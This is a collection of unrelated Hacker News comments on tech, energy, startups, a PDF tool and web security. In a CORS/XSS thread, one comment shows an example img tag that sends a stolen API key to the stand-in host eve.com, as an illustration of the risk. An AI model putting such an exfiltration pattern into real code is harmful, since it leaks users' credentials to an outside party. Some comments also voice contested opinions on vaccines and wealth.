skysight-inc/HackerNews huggingface dataset:
first solution word i got was "DONNA" which was kind of rough to guess. second game it told me "DRAPE" wasn't a word. the game worked fine though, thanks.
there's an everyday variant also at fiveletters.xyz
A lot of what goes on with social media is a reflection of society, in my opinion. Can a new approach fix that?

The only thing I can think of is targeting different users by various segments (which isn't new). E.g. HN is mostly for people that like tech and the startup scene.
The Perfect Chart
Slight aside but in many ways I wish HTTP2 had been closer to John Graham-Cummings suggestion here:

“Speeding up HTTP with minimal protocol changes”

https://blog.jgc.org/2012/12/speeding-up-http-with-minimal-p...

It’s basically HTTP2s out of order pipelining but implemented as a simple extension to HTTP1.1 text protocol.

I think it would have been nice to maintain and improve the text protocol in that way.

Previous discussions:

2012: https://news.ycombinator.com/item?id=4931837

2013: https://news.ycombinator.com/item?id=6012660
We live in a society were people believe making gas into bitcoins is a good thing? :-(

We should not have allowed to allow burning this on the spot ever.

We would now have cost effective counter measures or storage system for it.
> "This is the figure, and it shows really clearly, that when you look at myocarditis just in this group, men under the age of 40, it is crystal clear, pfizer dose 2, pfizer dose 3, moderna dose 1, moderna dose 2, have rates of myocarditis greater than the rate of myocarditis post SARS-CoV-2 infection"

- Vinay Prasad MD MPH ( https://youtu.be/NR_ZVzrTeYk?t=47 )

Source used by the video author from nature.com:
https://www.nature.com/articles/s41591-021-01630-0.pdf
That might be the case, but HTTP/3 is supported by most major CDNs and browsers. It has been adopted already.

Also, if this blog post from 2020 is correct, performance per buck isn't that bad with some teaks: https://www.fastly.com/blog/measuring-quic-vs-tcp-computatio...

I assume things have evolved since 2020.
Well that was an awesome rabbit hole to go down, thanks.
I don’t understand why it is now, a couple of years when a bunch of billionaires have basically become 5-10x richer, while the rest of the people in the world are suffering because of understandable economic restrictions, are these rich billionaires going out of their way to show that they really never deserved that money.

They had no special insight. They had no special genius. In fact, we built an economic system that ensured wealth ended up with 1-2% of the population, and they happened to be the ones who lucked their way into the 1-2%.

Like, I’m struggling to understand why so many of these folks are going out their way to show that this is the case.

Is it a power play. Like laughing at everyone else? Hahaha. I’m a bigger idiot than you but still I’m richer. Fuck you.

Or are they just that clueless?

Both of which only serve to show that our rich overlords are not deserving of their wealth for the most part (and the ones that are, are unfortunately the exception).
Completely off Topic:

The video player is very nice. Instead of mbps bit rate we use in video encoding which most users dont have a clue. They are showing MB / Min. So the user know how much data the could be using when switching quality. I wish more player do they same. ( But leave an advance mode to show mbps for us nerds )
Anyone know how this compares with jsmn? https://github.com/zserge/jsmn
No matter how long C++ takes to adopt something, the language at least knows what it wants to be, and has an ecosystem to keep it going for decades that will outlive us.

As for what is wrong with local imports, it makes impossible to track down module dependencies unless one goes grepping for imports all over the place.
It works totally fine, the hardest part is finding a (legal) copy of SLS (if you care about that).
I run CodeWarrior on SLS on top of Fusion on Mojave.
That would be another instance of the Braess paradox (https://en.wikipedia.org/wiki/Braess%27s_paradox#Traffic), correct?
> Storing is not cheap

True, however energy produced thanks to renewables already costs way less than its nuclear counterpart (and the gap is growing), offering a way to recoup investments (grid, storage...). Bonus: no risk of major accident, no fuel (uranium), no nuclear waster...
https://www.lazard.com/perspective/lcoe2020

Batteries aren't the sole way to store energy. Dams (potential energy), for example, are another one (already exploited and quite powerful and flexible).
There are many other ways: https://en.wikipedia.org/wiki/Energy_storage#Methods

"work on all in parallel" <=> (often massive) investments aiming at designing something isn't recouped as efficiently as possible (less units built).
"work on a single one" <=> bumping the probability of failure (all eggs in the same basket)
There is a middle ground to find!

"invest in the grid" is of paramount importance. Europe:
https://en.wikipedia.org/wiki/Synchronous_grid_of_Continenta...
https://en.wikipedia.org/wiki/European_super_grid

"connect over larger distances": indeed, and ways to do it are quickly progressing, as do relevant projects:
https://en.wikipedia.org/wiki/List_of_HVDC_projects
Thanks for the feedback, yes a lot of words are hard to guess :)

But DRAPE is a word: https://dictionary.cambridge.org/dictionary/english/drape

I downloaded the list from an online dictionary, I would be surprised if it weren't.
Payments are regulated by financial regulation in many countries, no matter the fine print.

For EU countries this would probably be governed by the PSD2 payment services directive and the GDPR data protection.

Specifically, payment transaction data may reveal personal data and using it for other purposes than the payment itself would require explicit consent.

IANAL. It would be interesting if lawyers with up to data knowledge on financial regulations in various jurisdictions could elaborate on this.
CNN screenshot altered to add fake chyron about Putin and Biden
> You do not trust the service provider. To be consistent, you do not trust the software provided by this provider.

These are completely different threat models. You're saying that since you can't have bulletproof security, you might as well have none. This is simply not the case.
Speeding up HTTP with minimal protocol changes (2012)
Warren's conversations are also short though. The difference is he invests in mature companies. He studies their books, then asks the CEO a few questions. If he likes the answers he invests.

It's rather different from investing in a startup. Plus all of YC's startups presumably receive some boost from exposure on HN and reddit.
Show HN: Simplepdf.eu – privacy-focused PDF online editor
A typical 'deck' will cover all of these, and a typical deck has about as much relation to what will happen later on as most business plans do, ie: none whatsoever.

In most cases though YC applications are meant as a way to evaluate the team, not the business and that's where the difference lies between the data they collect and what your typical business plan shows, even if there are superficial similarities the goal is an entirely different one.

I think PG & Co would invest readily into a fantastic team with a crappy business plan knowing full well that they are effectively already investing in the first - or second - pivot.

For them it doesn't matter: people driven to succeed will try to do so one way or the other and have a leg up on people that are not like that.
Damn, must have been a different time.
Hi HN!

I've been working on SimplePDF to solve a problem I encounter weekly: filling out non-editable PDFs [2] that I'm confident other people have already had to fill themselves [3]

---

# So what does SimplePDF do, that other services don't?

- You get to try the product right away and see for yourself, no signup process, popups, email to give away

- The documents you load, edit, fill never see the light of my server, everything is processed locally – no remote uploading anything. This includes the PDF generation.

- There are no analytics / third party tracking your every move (I do collect usage data, but it's fully anonymous and processed and stored on my server): therefore no annoying cookie banner. You can read more on the Privacy Policy [5]

- If someone before you has filled the same document, upon opening it you'll see fields already set, you can try out with [3] or [4]: load them with simplePDF and you'll see the fields appear.

---

# How does SimplePDF do this field matching thing?

When a document is loaded in your browser, a fingerprint of the document binary is made, and sent to the server. The document table consists of: document_id, fingerprint and created_at.

As soon as you start editing a document, a template is created, containing metadata about the fields (x, y, width, height, type of field, background color...) that is then tied to this document you created. Once you save, this template gets sent to the server. The template table consists of: template_id, document_id, fields (the metadata) as well as created_by_customer_id if you're a customer.

As a result, someone else on the other side of the world opening the same document will see the fields you positioned already there – you just saved them the 5min it probably took you to position them.

---

# What's the tech stack of SimplePDF?

- NextJS on the frontend

- Koa with GraphQL on the backend

- Postgres (Managed Database on Digital Ocean)

- A 10€ droplet on Digital Ocean

---

If you have any questions, comments or feedback, please let me know!

I like to believe that I'm a good product engineer, but I suck big times at marketing and sales:

if you have any feedback on that front, I'll be extremely happy to hear it (and I'm a long time HN user, so I'm "ready" for your feedback)

---

[1] https://simplePDF.eu

[2] The assignments my estonian teacher gives me are usually scanned documents that do not have any editable fields in them.

[3] The Model Release agreement of Shutterstock (https://ak.picdn.net/assets/cms/2e36c8b30913813b9e424f37ba0a...)

[4] Equifax's Employment Data Freeze Placement Form (https://assets.equifax.com/wfs/theworknumber/assets/twn_Empl...)

[5] https://www.simplepdf.eu/privacy_policy
I mean one thing I would expect that I would want co-browsing in is:

1. some sort of remote education app

2. some sort of remote debugging, testing app

3. onboarding in another app.

Those apps will have more things essential to them then co-browsing. Co-browsing is a really nice to have, maybe even killer feature to make such an app stand out from their competition. But in the end I would think it was still a feature of the app.

Onboarding in another app, I guess they would just do that as needed with someone. Really a sort of educational feature. Let's say for example you are in Denmark and you have to use an ESDH solution for your government job (electronic case documentation handling solution [case in Denmark is sag]), they gave you some classes you went and you don't understand some of the things you need to do, or two you were sick for those classes and the company doesn't want to do a single class for you. Then co-browsing is pretty great, but even in that case where they probably don't care to have to full control over experience you should probably try to market directly to them because unlikely they will see your stuff on HN and think THAT IS WHAT WE NEED!

As an anecdote of people not seeing the point of what something is and having to market directly to them and convince them, I was once working on a multiple media generating product - generate your website pdf email help files etc. media from single source - reuse documents between media easily. At one demo for a sales person and a technical guy I showed how you could create a branding experience in one media, and also stuff like contact details for your company, and it was automatically inherited across the different media etc. without needing to do anything new for each media and these guys were incapable of understanding the purpose of this or why anyone would find it at all useful. What I'm saying is the co-browsing is cool, but to sell it you are probably going to have to make real specific use cases for people that hammer into their heads why they should want this because what is obvious to you just will not be obvious to everybody.
Crypto Exchange Binance to Invest $200M in Forbes
React: Hooks and Optimisation
How to utilize React.memo, useMemo, and useCallback efficiently.
I'm following a similar approach with Kubestack. Although for a much smaller use-case, being exclusively focused on building Kubernetes platforms using Terraform.

Your scope sounds more like Gruntwork. How would you say you differentiate?

For me the focus is important because the wider the use-case, the broader the customizations different orgs will require. Focus on a narrow use-case means one can provide more value.

Frameworks on the software development side also are better with a narrower use-case. There's no one size fits all.

Kubestack also has a UI to design your Kubernetes platform and export that to Terraform code. Making it super easy to get started.

https://www.kubestack.com/cloud
The inter-request integrity guarantee is nice, but you're right that on its own it seems something many devs don't value - or at least don't consider.

The main driver for getting it done is mostly to set the groundwork for the websocket autosave feature, which would be exceeding dangerous without this.
For the second one, I'm getting "Please, enter your password", then, after typing the passcode – "The toll-free number you have dialed has been disconnected. No further information is available about this number. 074T"
Related project that goes more in depth with modelling a whole city section (with focus on realistic traffic patterns:

https://github.com/a-b-street/abstreet - Transportation planning and traffic simulation software for creating cities friendlier to walking, biking, and public transit

Very interesting project which I played around with a bit and tried hacking on it to add cities I live in, but the slow Rust build times makes it kind of chore so never really managed to create something good with it.
You assume he's a lecturer - he's not. He worked at Stanford Libraries on digital preservation, but is now retired. The talk itself was written for a business audience originally. He's just a guest speaker called in the last minute. He does make that fairly clear in the introduction.

You assume that this is pushing an ideological agenda on the behalf of Stanford, or the state of California, for which I see no evidence.

You assume the fact he doesn't mention nuclear is evidence of ideological bias. He clearly states that carbon emissions need to come down now. Nuclear can't do that. I have no idea what his actual stance on nuclear power is, but you cannot assume he is a priori opposed to nuclear power because he doesn't talk about it in this talk.

You assume that the links he is providing are further evidence of pushing an ideology. The Lawfare link is making the legal case that money transmission is occurring, which is precisely the point he is making. The fact that a co-author on a paper on decentralization of mining may have made a lot of money out of launching his own coin in no way diminishes the observation that "a Byzantine quorum system of size 20 could achieve better decentralization than proof-of-work mining at a much lower resource cost."

It's quite clear he doesn't think that the externalities of crypto currencies can be easily mitigated. But you assume a lot in order to make your case that there is something nefarious and ideological going on.
> This is all just semantic nonsense.

No it's not. The point is that what most start-ups submit as a "business plan" is just a load of b.s.

The questions that are asked in the YC interview draw out the information that _should_ be in a business plan.
This will be massive in Europe for WhatsApp. Just went on a ski trip with people from a number of European countries. All use WhatsApp but we didn’t have a single app to send money to each other. PayPal was the only option but most people didn’t have that so we used cash.
A business plan is literally the first thing you need to do when you have an idea for a business. The original idea needs to be developed so that you an others are able to see if it makes sense or is complete nonsense. That's a business plan. Whether the business is about tech or about something else doesn't make it any different in that regard.
https://github.com/python-pillow/docker-images/blob/main/ubu...

This docker image is what we’re using in CI to do memory safety checks against the pillow c extension.
Is the best strategy to resolve discrimination against X to pretend one is not X?
> country is serious about the impending "climate emergency".

France gridpower-related emissions are low, however there was no progress for quite a while:
https://abcnews.go.com/Business/wireStory/court-rules-france...
Apple has more control over its platform and can ensure video acceleration works for all participants.

Conference calls with a central server are particularly suspectible to "lowest common denominator" issues.
Github for the project: https://github.com/RaiMan/SikuliX1

It seems to have most of the content as the main site (which is down ATM).
CORS is confusing to understand because the kind of attack it protects against is confusing.

CORS does not protect endpoints against malicious clients, since you can always just make the same request outside of a browser. And it doesn't protect any site from making or receiving cross-site requests, since CORS can always be disabled on the server side.

CORS protect against the scenario where a malicious site tricks an unmodified browser to make a cross-site request to a legitimate site. If the user has an authentication cookie for the legitimate site, the cookies will be sent along with the request. So the malicious site can perform transactions in the legitimate site on behalf of the user, despite not having direct access to the authentication cookie.

CORS is further complicated because certain forms of cross-site requests have always been allowed by browsers, and therefore must remain enabled by default for backwards compatibility. GET requests to separate sites is allowed, since this has always been allowed e.g. to embed images from other domains. POST requests are allowed with the caveat that you can't inspect the result, because you have always been able to initiate a post to a different site from a html form.
Amazon’s Hidden Worldwide Subsidies
This is just an extremely poorly informed rant. It's premised on a zero-sum view of economics, where any change in distribution is necessarily a loss for some and a gain for others. And a view that the shape of the distribution, rather than its height, is the only factor in quality of life.

These are both profoundly misguided. In the last several decades QoL has improved dramatically, as has the amount of disposable income available to every household: the distribution is higher. And the main reason for increasing inequality in the distribution, is the rate of investment returns... ie., different rates of gain -- not money being "stolen".
Am I right in thinking that storing secrets/API keys in cloud functions is OK though. i.e. CF cloud workers or similar
He's good at getting attention, that's for sure.
Abstreet – Transportation planning and traffic simulator
Blocking straight-line speculation – eventually
How would you counter someone who argues that given hedonic adaptation, they'll be roughly as happy regardless of QoL as long as their base needs are met.
You can do anything until I close a page. Stealing cookie might allow you to continue after that.
Used to do a lot of this in Glasgow in the mid-late 00s. Certain supermarkets were the best as they plastic-wrapped everything they had. Plus it was cold out. 5 of us would head down, do the rounds, then converge on the flat to cook a massive stew that would last days. Good times.
Archived account page:

https://web.archive.org/web/20210831100630/https://twitter.c...

Moderna, Inc. (MRNA) insider transactions:

https://finance.yahoo.com/quote/MRNA/insider-transactions?p=...
But you wrote “same-site” :) It will protect against XSS.
That’s oversimplified to the point of being extremely misleading. Under SOP, the way you loaded third-party data (not code) was JSONP, where (oops!) you’re actually loading third-party code but you just cross your fingers and hope the third party doesn’t deliver you any nefarious code.
In the browser, yes. But when you steal an API key I can send it to an external server (<img src=https://eve.com/pixel.jpg?apikey=...">)and exploit and impersonate the user without anyone knowing about it and without collaboration of the web browser.
Order Fulfillment SAS
Hi,
I am trying to build eCommere website but I am not sure what is best SAS based platform which can help me in order fulfillment service. eCommerce website will allow customer to buy flowers online primarily in Australia.

Thanks
You may not be eating it correctly

Pears are fruits that ripe after being picked from the tree. The photos in the web look like Decana pears, that are known universally as one of the top varieties of common pear.

Freshly picked from the tree are just hard and sweet, nothing special, but wait some days and wow... When the skin starts to feel soft at the touch, the flesh melts like butter and the juice drips from your mouth.

Is annoying to culture (must be pollinated carefully and the steams take strange directions that made it difficult to prune correctly), but is royalty in the pear world.

If yours were from that variety you should give it a second try, wait to middle of summer and taste one in their prime. Is just a pear, but it offers all that one can expect from a pear.
Simple XMPP command line client
It just seems odd to then complain about "waste of energy". If you care about that sort of thing, why participate?
What ski towns tell us about the inequality crisis
Again, CORS does not protect, the SOP does :-)
Agree! If anything, people seem to be more likely to change lanes the slower traffic is. If the traffic is flowing, people tend to stay in the lane that matches their preferred speed.
The power of ambition compounding in Irish startups
CORS is not securing the server, the Key Auth module was. The API key is user specific and what you see in the source code should be only your key and not anyone else's.
Yes you need to define what you mean by ‘hackable’
Care to share your impl, since you're surprised no one else has an OSS version?
> Compromised apps can very much silence such warnings.

Again, this is not a useful take since this equally applies to any other app, federated or not.

> If you get your service and your (preferably open-source) software from different sources, the chances that you'll be attacked via software backdoors is significantly reduced

No, you just need one of the trusted component to be compromised to lose your security guarantees. You're suggesting to increase your attack surface instead of reducing it.
Ask HN: How to Access Lenny's Newsletter?
As long as it stays on the server the end user can not access it (unless they are exposed somehow).
I’m looking into getting one. Could you recommend a model and retailer?
That is indeed very short! Thanks!
It's crazy that no one else commented this yet but the author of the cURL has an awesome free book about HTTP/3 and QUIC.

See: https://http3-explained.haxx.se/en
Tbf, the idea that all they really needed was a faster Internet connection and a secure server because clients "may believe" that's a useful thing for credit card transactions does fit the don't judge a founder by his planning philosophy

"Spending some money on advertising might also be a good idea"
The first line is correct.

The second has no value because you are either using techniques that are not vulnerable by XSS or not. “same-site” cookie is one of them.